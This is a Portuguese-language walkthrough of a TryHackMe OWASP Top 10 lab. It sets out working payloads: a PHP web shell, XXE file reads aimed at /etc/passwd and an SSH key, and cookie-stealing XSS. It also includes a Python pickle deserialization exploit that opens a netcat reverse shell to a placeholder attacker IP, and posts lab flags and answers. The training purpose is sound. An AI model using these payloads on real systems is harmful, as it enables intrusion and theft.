OWASP Top 10 - THM
Introdução
Nesta aula, são ensinados os métodos para explorar cada vulnerabilidade do OWASP Top 10. Documentarei e detalharei as etapas de cada uma das vulnerabilidades mencionadas na aula.
Para acessar a aula clique aqui OWASP TOP 10
Injeção
É uma vulnerabilidade comum nas aplicações atuais. A falha ocorre porque a entrada de dados enviada pelo usuário é interpretada como comandos ou parâmetros, sem validação ou sanitização dos dados enviados. Assim, o atacante pode executar comandos arbitrários no sistema, como acessar, modificar e até mesmo deletar informações contidas no servidor. Exemplos de códigos podem ser injetados.
- SQL Injection
- Command Injection
A injeção de comando ocorre do lado do servidor. A aplicação realiza uma chamada de sistema, e nesse momento o atacante toma vantagem. Com a utilização do caracter ;
antes dos comandos, o atacante pode quebrar a aplicação e executar os comandos que deseja. No exemplo a seguir, não é necessária a utilização do ;
.
Command Injection
Existem dois tipos de injeção de comandos: ativa, onde a aplicação retorna visualmente no HTML da página a resposta do nosso comando; e a injeção às cegas, onde não recebemos no HTML uma resposta da aplicação.
No primeiro exemplo, temos um host que possui um web shell disponível na internet. Abaixo, está o código PHP da aplicação.
1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET["commandString"])) {
$command_string = $_GET["commandString"];
try {
passthru($command_string);
} catch (Error $error) {
echo "<p class=mt-3><b>$error</b></p>";
}
}
?>
O código acima verifica se o comando passado é válido. Caso seja, exibe o resultado na tela; caso contrário, a aplicação não retorna nada.
Como mencionado na aula, primeiro precisamos enumerar nosso host e descobrir qual é seu sistema operacional: Windows ou Linux. Podemos descobrir isso facilmente executando comandos em cada sistema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Linux
- whoami
- id
- ifconfig/ip addr
- uname -a
- ps -ef
Windows
- whoami
- ver
- ipconfig
- tasklist
- netstat -an
Perguntas
What strange text file is in the website root directory?
Com o comando ls
listamos os arquivos no diretório atual Resposta: drpepper.txt
How many non-root/non-service/non-daemon users are there?
Para saber a quantidade precisamos olhar o arquivo /etc/passwd
.
Syslog
é um serviço, podemos filtrar também por x:100
, no caso não temos nenhum usuário no host.
Resposta: 0
What user is this app running as?
Com o comando id
descobrimos qual usuário está executando nossos comandos.
Resposta: www-data
What is the user’s shell set as?
Com o comando grep "www-data" /etc/passwd
descobrimos qual é a shell do usuário.
Resposta:/usr/sbin/nologin
What version of Ubuntu is running?
Comando para descobrir lsb_release -a
.
Resposta:18.04.4
Print out the MOTD. What favorite beverage is shown?
MOTD significa: message of the day
.
Pesquisando na documentação man motd
não encontramos o arquivo /etc/motd
, sendo assim vamos utilizar um comando para localizar todos os arquivos com o nome de motd
. O retorno do comando trás diversos arquivos, com a dica da questão sabemos qual arquivo devemos verificar.
Arquivo:/etc/update-motd.d/00-header
.
Nossa resposta está no final do arquivo.
Resposa:Dr Pepper
Autenticação quebrada
Autenticação e gerenciamento de sessão são as bases das aplicações modernas. Autenticamos em uma aplicação e nos mantemos conectados, respectivamente. A autenticação, tradicionalmente, é feita com usuário e senha; já o gerenciamento da sessão é realizado através de cookies de sessão. Como o protocolo HTTPS não mantém informações da sessão (stateless), o cookie possui um papel importante, fornecendo informações e mantendo a autenticação do usuário com o servidor.
O atacante que consegue explorar essa falha tem a possibilidade de acessar outras contas de usuários. Abaixo, algumas falhas comuns em mecanismos de autenticação:
Brute force: se a aplicação usa usuário e senha, e não possui um mecanismo que mitigue o ataque, é possível tentar adivinhar as credenciais.
Credenciais fracas: se a aplicação usa senhas fracas, comuns, por exemplo
password1
, o atacante pode facilmente adivinhar a senha, sem precisar utilizar diversas tentativas.Cookies de sessão fracos: se o cookie possui valores fáceis de prever, o atacante pode forjar um cookie falso e também realizar a troca de usuário.
Abaixo, as formas para mitigar esses tipos de ataque:
Criar controles: controles que mitiguem o uso excessivo em um curto espaço de tempo para tentativas de acesso.
Política de criação de senha.
Implementação de multi-fator de autenticação.
I’ve understood broken authentication mechanisms.
Não é necessário resposta.
Prática
No exercício, é fornecida uma aplicação que não realiza as devidas validações no registro de usuário. Quando tentamos criar um novo usuário, é verificado se o usuário já existe. Caso exista, a seguinte mensagem é mostrada:
# Error: This user is already registered
Dessa forma, conseguimos enumerar os usuários na aplicação. A vulnerabilidade ocorre quando informamos, no registro de usuário, um espaço no início do nome. A aplicação não realiza as devidas validações e, com isso, conseguimos re-registrar o mesmo usuário na aplicação, porém agora com a senha que criamos no momento do cadastro, exemplo a seguir:
Após re-registrar o usuário “ darren
”, conseguimos realizar o login e obtemos a resposta para primeira pergunta da tarefa.
What is the flag that you found in darren’s account?
Resposta: fe86079416a21a3c99937fea8874b667
Now try to do the same trick and see if you can login as arthur.
Não é necessário resposta.
Exposição de dados sensíveis
Quando uma aplicação divulga acidentalmente dados confidenciais, isso é chamado de “Exposição de dados sensíveis”. Esses dados são facilmente cruzados com os clientes.
Read the introduction to Sensitive Data Exposure and deploy the machine.
Resposta: não é necessário responder.
Banco de dados
Aplicações web precisam de soluções que suportem uma grande quantidade de dados e que sejam em formato acessível. Normalmente, esses dados são armazenados em bancos de dados que utilizam SQL e, em alguns casos, NoSQL. É comum ver servidores dedicados para bancos de dados, rodando MariaDB e MySQL. Outra forma de armazenamento dos dados é feita em um único arquivo chamado flat file database
.
Uma Flat File Database é um tipo de banco de dados simples que armazena informações em um único arquivo de texto, sem a necessidade de um sistema de gerenciamento de banco de dados complexo. Os dados são organizados em linhas e colunas, semelhante a uma planilha.
No exemplo da tarefa, é mostrado o acesso a um flat file database
usando SQLite 3. Nele, são verificadas as informações da tabela (PRAGMA table_info(customers);
) e feito o dump das informações (SELECT * FROM customers;
).
Read and understand the supporting material on SQLite Databases.
Resposta: não é necessário responder.
Quebra de hash
No exemplo anterior, conseguimos obter as hashes dos usuários. Como mencionado na tarefa, não utilizaremos as ferramentas disponíveis no Kali. Em vez disso, usaremos uma ferramenta online disponível chamada Crackstation. O escopo da tarefa não inclui descobrir qual é o algoritmo de hash utilizado, pois já foi informado que é (md5) e, além disso, já sabemos que as hashes são facilmente quebradas.
A hash do usuário Joy Paulson
será utilizada: 5f4dcc3b5aa765d61d8327deb882cf99
Com isso, a senha do usuário é descoberta. Como mencionado na tarefa, a ferramenta utiliza uma vasta lista de senhas. Caso a senha da hash não seja descoberta, possivelmente essa hash foi criada para não ser quebrada.
Read the supporting material about cracking hashes.
Resposta: não é necessário responder.
Desafio
Have a look around the webapp. The developer has left themselves a note indicating that there is sensitive data in a specific directory.
What is the name of the mentioned directory?
A página inicial da aplicação não possui informações importantes para nós, conforme mostra a imagem.
Na página de login não temos muitas informações, analisando o código fonte temos os caminhos para os .css
:
1
2
3
4
href="../assets/css/style.css
href="../assets/css/loginStyle.css
href="../assets/css/orkney.css
href="../assets/css/icons.css
Conseguimos realizar listagem de diretório e dentro do diretório assets
temos um arquivo sensível: webapp.db
.
Resposta:/assets
Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?
Reposta:webapp.db
Use the supporting material to access the sensitive data. What is the password hash of the admin user?
Primeiro, devemos realizar o download do arquivo para nossa máquina local. Após isso, verificamos que se trata de um arquivo de banco de dados. Acessamos os dados contidos no arquivo e realizamos o dump das informações sensíveis.
Resposta:6eea9b7ef19179a06954edd0f6c05ceb
Crack the hash.
What is the admin’s plaintext password?
Resposta:qwertyuiop
Login as the admin. What is the flag?
Resposta: THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
XXE
Entidade externa de XML ou XXE é uma vulnerabilidade que se aproveita do processamento de dados de XML em sistemas e aplicativos. O parser do XML processa uma referência a uma entidade externa, que pode ser um recurso do servidor (local) ou um recurso externo.
Existem dois tipos de XXE:
XXE que é mostrado imediatamente: a resposta do payload do XXE é exibida de imediato.
XXE às cegas: não há uma resposta imediata da aplicação e o atacante tem que refletir a saída do payload em um arquivo.
Deploy the machine attached to the task.
Resposta: não é necessário responder.
Entidade externa XML (eXtensible Markup Language)
XML é uma linguagem de marcação, lida por humanos e máquinas, é utilizada para transporta e armazenar dados.
Porque usar XML ?
XML é independente de plataforma e também uma linguagem de programação independente, garantindo assim suporte caso haja uma mudança de tecnologia ao longo do tempo. Além disso, os dados transportados usando XML podem sofrer alterações a qualquer momento sem afetar a apresentação dos dados. XML permite a validação utilizando Document Type Definition (DTD) e Schema, tornando-o assim livre de erros de sintaxe.
Sintaxe
Documentos XML iniciam com a linha abaixo (XML prolog
), além disso é uma boa prática utiliza-lo.
<?xml version="1.0" encoding="UTF-8"?>
Todo documento XML possui o elemento “ROOT” e seus filhos dentro desse documento.
Todos os elementos: <to>, <from>, <subject> e <text>
são filhos do elemento “ROOT” <mail>
.
Assim como no HTML podemos inserir atributos também.
1
`<text category = "message">You need to learn about XXE</text>`
Perguntas
Full form of XML
Resposta:eXtensible Markup Language
Is it compulsory to have XML prolog in XML documents?
Resposta:no
Can we validate XML documents against a schema?
Resposta:yes
How can we specify XML version and encoding in XML document?
Resposta:XML prolog
DTD (Document Type Definition)
DTD é o padrão para definição de tipo de documento. Através dele, definimos a estrutura, elementos e atributos de um documento XML.
Exemplo de DTD, arquivo note.dtd
:
1
2
3
4
5
6
7
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
Após criar o DTD, podemos utilizá-lo para validar nosso documento XML, que deve estar em conformidade com as regras do DTD.
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>falcon</to>
<from>feast</from>
<heading>hacking</heading>
<body>XXE attack</body>
</note>
Basicamente, na parte do DTD, está sendo definida uma note com quatro elementos: to, from, heading e body. Cada um desses elementos contém dados de texto (#PCDATA).
!DOCTYPE
: define o elemento root do documento como sendo note
.
Perguntas
How do you define a new ELEMENT?
Resposta: !ELEMENT
How do you define a ROOT element?
Resposta: !DOCTYPE
How do you define a new ENTITY?
Resposta:!ENTITY
XXE - Payload
Exemplo de um código utilizando !ENTITY
na definição do documento. Está sendo definido a entidade com o nome de name
e atribuindo o valor feast
.
1
2
3
4
5
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&name;</lastName>
</userInfo>
Um exemplo de XXE, usando !ENTITY
para ler arquivos no servidor, com a diferença que nosso valor será SYSTEM
e o caminho do arquivo (/etc/passwd
).
1
2
3
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
Perguntas
Try the payload mentioned in description on the website.
Resposta: não é necessário responder.
Explorando
No exemplo da aula é fornecido um website com um campo para entrada de dados.
Enviamos nossa requisição para Burp.
No parâmetro xxe
vamos enviar nosso payload encodado, utilizando o exemplo anterior.
Payload:
1
%3C%3Fxml%20version%3D%221.0%22%3F%3E%20%20%0A%3C%21DOCTYPE%20root%20%5B%3C%21ENTITY%20read%20SYSTEM%20%27file%3A%2F%2F%2Fetc%2Fpasswd%27%3E%5D%3E%20%20%0A%3Croot%3E%26read%3B%3C%2Froot%3E
Obtemos sucesso, o host é vulnerável a XXE.
Perguntas
Try to display your own name using any payload.
Resposta: não é necessário responder.
See if you can read the /etc/passwd
Resposta: não é necessário responder.
What is the name of the user in /etc/passwd
Resposta: falcon
Where is falcon’s SSH key located?
Resposta: /home/falcon/.ssh/id_rsa
What are the first 18 characters for falcon’s private key
Vamos alterar nosso payload para file:///home/falcon/.ssh/id_rsa
Em um editor de texto qualquer contamos a quantidade de caracteres.
Resposta:MIIEogIBAAKCAQEA7
Controle de acesso quebrado
Existem páginas que não devem ser acessadas por usuários comuns, como por exemplo, a área administrativa. Se um usuário comum conseguir acesso a esse conteúdo, ele pode visualizar dados sensíveis e realizar funções administrativas para as quais não foi autorizado.
Alguns cenários são demonstrados:
Um atacante simplesmente altera o número do parâmetro para qualquer outro e, assim, obtém acesso a outra conta.
1
2
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
No segundo cenário o atacante alterar o endereço, forçando páginas que possivelmente existem.
1
2
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
IDOR
IDOR (Insecure Direct Object Reference) é a forma de explorar falhas de configuração através do input do usuário, permitindo acessar objetos que, em teoria, o usuário não poderia acessar.
Perguntas
Read and understand how IDOR works.
Resposta: não é necessário.
Deploy the machine and go to http://machine_ip/ - Login with the username being noot and the password test1234.
Resposta: Não é necessário responder
Look at other users notes. What is the flag?
Usando no parâmetro o valor 0
acessamos uma nota que não é nossa.
Resposta:flag{fivefourthree}
Configuração de segurança incorreta
Isso ocorre quando o responsável pela aplicação acredita que realizou uma configuração adequada, mas na verdade não fez.
Serviços de cloud mal configurados, ex: S3 buckets.
Serviços, páginas ou contas desnecessários, ativados.
Contas padrão com senhas inalteradas (senhas padrão).
Detalhamento excessivo em mensagens de erro.
Não uso de cabeçalhos de segurança no HTTP ou revelação de muitos detalhes nos cabeçalhos do HTTP.
Perguntas
Deploy the VM
Resposta: não é necessário responder.
Hack into the webapp, and find the flag!
Procurando pela documentação da aplicação na internet: Pensive notes
Encontramos as credenciais padrão para acessá-lo: pensive:PensiveNotes
Resposta: thm{4b9513968fd564a87b28aa1f9d672e17}
Cross-site Scripting
Também conhecido como XSS, é uma vulnerabilidade comum em aplicações web. Trata-se de um tipo de injeção de código malicioso.
XSS é possível em JavaScript, VBScript, Flash e CSS. Existem três principais tipos de cross-site scripting:
Stored XSS: O mais perigoso, onde uma string maliciosa se origina do banco de dados do site. Isso acontece porque o site não verifica os inputs enviados.
Reflected XSS: O site inclui o payload na requisição que será enviada para o usuário.
DOM-Based XSS: DOM é um padrão de Document Object Model e uma interface de programação para documentos HTML e XML.
XSS Payloads
Cross-site scripting é uma vulnerabilidade que pode ser explorada através da execução de Javascript na máquina da vítima, abaixo alguns tipos de payloads:
Popup’s:
(<script>alert(“Hello World”)</script>)
Escrevendo HTML:
(document.write)
XSS Keylogger
Port Scanning
XSS Challenge
Perguntas
Navigate to http://MACHINE-IP
your browser and click on the “Reflected XSS” tab on the navbar;craft a reflected XSS payload that will cause a popup saying “Hello”.
Payload: (<script>alert(“Hello World”)</script>)
Resposta: ThereIsMoreToXSSThanYouThink
On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.
Payload:(<script>alert(window.location.hostname)</script>)
Resposta:ReflectiveXss4TheWin
Now navigate to http://MACHINE-IP
in your browser and click on the “Stored XSS” tab on the navbar; make an account.
Then add a comment and see if you can insert some of your own HTML.
O exercício mostra de uma forma prática como ocorre um ataque de “stored XSS”. Primeiro precisamos nos registrar.
Nas dicas que são fornecidas realizaremos o passo a passo.
Através da console da ferramenta de desenvolvimento descobrimos nosso cookie.
1
2
document.cookie
"connect.sid=s%3AoxbrDUO81RnvOy3GC3RfSCe6WxniIiqH.3YTT4pZ8t4eLsNhJngjZPdDDRYJ7jhZTZIzkt1ZH8eo"
Com o comando fornecido na dica alteramos o valor, da primeira tag #thm-title
.
1
document.querySelector('#thm-title').textContent = "hey"
Agora basta seguirmos os passos seguintes e obteremos nossa resposta.
Resposta: HTML_T4gs
On the same page, create an alert popup box appear on the page with your document cookies.
Payload: <script>alert(document.cookie)</script>
inserindo o payload nos comentários obtemos nossa resposta.
Resposta: W3LL_D0N3_LVL2
Change “XSS Playground” to “I am a hacker” by adding a comment and using Javascript.
Payload: <script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
Resposta:websites_can_be_easily_defaced_with_xss
Desserialização insegura
A desserialização insegura é a substituição de dados processados por um aplicativo por código malicioso, permitindo desde DoS (Negação de Serviço) até RCE (Execução Remota de Código). Qualquer aplicativo que armazena ou busca dados, onde não há validações ou verificações de integridade em vigor para os dados consultados ou retidos, pode ser vulnerável. Alguns exemplos de aplicativos dessa natureza são:
Sites de comércio eletrônico
Fóruns
APIs
Application Runtimes (Tomcat, Jenkins, Jboss, etc.)
Perguntas
Who developed the Tomcat application? Resposta:The Apache Software Foundation
What type of attack that crashes services can be performed with insecure deserialization? Resposta:Denial of Service
Objetos
Elementos que são utilizados em linguagem orientada a objetos, são compostos por estado
e comportamento
. A vantagem da utilização de objetos é que evitamos reescrever códigos semelhantes.
Pergunta
if a dog was sleeping, would this be:
A) A State
B) A Behaviour
Resposta:A Behaviour
Desserialização
Desserialização é um processo onde dados que foram previamente serializados (ou seja, convertidos em um formato que pode ser facilmente armazenado ou transmitido) são convertidos de volta ao seu estado original. Um exemplo, conforme mostrado na aula, seria a transmissão de uma senha de um computador para o outro: a string é convertida para binário (serializado) e depois é desserializada novamente para string.
Pergunta
What is the name of the base-2 formatting that data is sent across a network as?
Resposta:Binary
Cookies
Através dos cookies, conseguimos guardar específicos comportamentos de cada usuário, cookies de sessão normalmente são limpos quando o navegador é fechado, o tempo de validade de um cookie é determinado pelo campo Expiry
, outros campos abaixo.
Atributo | Descrição | Obrigatório ? |
---|---|---|
Cookie Name | O nome do Cook | Sim |
Cookie Value | Valor a ser definido, texto claro ou encodado | Sim |
Secure Only | Define se o cookie será utilizado somente em conexões H | Não |
Expiry | Define o timestamp, tempo, quando cookie será rem | Não |
Path O cookie será enviado somente para URL especificada na requisição sição |
Criação do Cookie
Exemplo abaixo, fornecido na aula, é criado um cookie utilizando Python, onde o valor é definido sendo a hora de agora e seu nome será registrationTimestamp
.
Perguntas
If a cookie had the path of webapp.com/login
, what would the URL that the user has to visit be?
Resposta:webapp.com/login
What is the acronym for the web technology that Secure cookies work over?
Resposta:HTTPS
Prática - Cookies
Depois de criarmos uma conta de usuário verificamos nosso cookie na própria ferramenta do navegador. Os cookies estão em texto claro e encodado em base64.
Perguntas
1st flag (cookie value)
Nossa primeira flag está no campo sessionId
, está encodada em base64.
1
2
3
mypc@mypc-MINI-S:~/Área de Trabalho$ echo -n "gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAANjkxYWJiNjBhMzg1NDNlOWFlM2Y4M2ViYWM1NWJiYzBxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==" > sessionID
mypc@mypc-MINI-S:~/Área de Trabalho$ base64 -d sessionID
�}q(X sessionIdqX 691abb60a38543e9ae3f83ebac55bbc0qX encodedflagqXTHM{good_old_base64_huh}qu.mypc@mypc-MINI-S:~/Área de Trabalho
Resposta: THM{good_old_base64_huh}
2nd flag (admin dashboard)
Nossa segunda flag se encontra no painel de admin, para isso alteramos o campo userType
com valor admin
.
Resposta: THM{heres_the_admin_flag}
Execução de código
Para esse exercício, primeiro precisamos voltar nosso campo userType para user. Depois, vamos clicar em Exchange your vim. Quando visitamos Exchange your vim, um cookie é codificado dentro de nosso navegador. Quando visitamos a página Provide your feedback!, esse mesmo cookie é decodificado e então desserializado.
Trecho do código que realiza o encode.
No trecho abaixo é mostrado o cookie sendo recuperado e desserializado.
A vulnerabilidade ocorre na biblioteca Pickle do Python. Resumidamente, criaremos um payload fornecido na aula, realizaremos o encode em base64 desse payload, que será utilizado no cookie que é recuperado e desserializado. Os dados não são verificados pela aplicação, dessa forma realizaremos uma conexão reversa.
1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))
Alteramos o payload com nosso IP e executamos o arquivo .py
.
1
2
root@ip-10-10-11-58:~# python3 pickleme.py
b'gASVdAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFlybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI+JjEgfCBuZXRjYXQgMTAuMTAuMTEuNTggNDQ0NCA+IC90bXAvZpSFlFKULg=='
Nosso payload está pronto, iremos coloca-lo no cookie encodedPayload
Em nosso terminal novamente, abrimos nossa porta 4444, esperando pela conexão reversa, atualizando a página de feedback recebemos nossa conexão reversa.
Nossa flag se encontra no diretório do usuário estamos logado.
Resposta:4a69a7ff9fd68
Componentes com vulnerabilidades conhecidas
Vulnerabilidades que são conhecidas normalmente já são bem documentadas. Eventualmente, podem ser encontradas em bases de dados de exploit, como exploit-db. Um exemplo de vulnerabilidade conhecida seria uma versão de Wordpress desatualizada. Com uma pesquisa rápida, é facilmente possível encontrar diversos exploits.
O exploit encontrado é referente ao CVE-2019-16278
. No exercício, é mostrado que durante a execução do exploit ocorre um erro. Esse erro serve para demonstrar, de forma prática, que haverá situações em que o usuário precisará modificar o código do exploit para obter resultados. Além disso, é uma boa prática ler o código, evitando assim sofrer um possível ataque.
O erro do exploit ocorre em uma linha que deveria ser comentada. Após isso, o código é executado normalmente.
Laboratório
Nesse laboratório é fornecido um website, uma loja de livros, onde podemos adicionar livros ao nosso carrinho e compra-los.
Analisando o código fonte e a página inicial vemos um link para o site: https://projectworlds.in/
Além disso, a página de acesso administrativo aparece o ano 2007
. Realizando uma pesquisa sobre Projectwordls exploit 2017
encontramos o link abaixo, indicando que se trata de um exploit utilizando em loja de livros online.
1
https://www.exploit-db.com/exploits/47887
Após copiar o exploit para nossa máquina e tentar executá-lo, ocorre um erro indicando que a variável não está definida no momento de obter a shell reversa. Antes de verificar o código, tentamos novamente executar com uma versão mais recente de Python e, assim, obtemos a shell reversa.
Obtemos um RCE sem autenticação na aplicação.
Perguntas
How many characters are in /etc/passwd (use wc -c /etc/passwd to get the answer)
1
2
RCE $ wc -c /etc/passwd
1611 /etc/passwd
Resposta:1611
Registro e monitoramento insuficientes
A aplicação deve ser configurada para realizar a coleta (log) dos usuários que acessam. Quando ocorre um incidente, é através dos logs que será feito o rastreio das ações do atacante. Sem um monitoramento eficiente, há um grande risco de impacto, por exemplo:
Dano regulatório: o atacante ganha acesso a informações pessoais dos usuários. Não apenas o usuário será afetado, mas também os proprietários da aplicação.
Risco do ataque avançar: sem o monitoramento, o risco do atacante avançar com o ataque sem ser detectado é grande.
nformações que log deveria incluir:
- HTTP Status code
- Time Stamps
- Usernames
- API endpoints
- IP address
Exemplo de log fornecido pela aula.
Esses logs contêm algumas informações confidenciais, por isso é importante garantir que eles sejam armazenados com segurança e que várias cópias deles sejam armazenadas em locais diferentes.
Perguntas
What IP address is the attacker using?
Resposta: 49.99.13.16
What kind of attack is being carried out?
Resposta:Brute Force
Conclusão
Nesta aula foram abordadas as 10 maiores vulnerabilidades listadas pela OWASP no ano de 2020, com uma introdução a cada vulnerabilidade que abrange conceitos teóricos e práticos, essenciais para o aprofundamento na exploração web.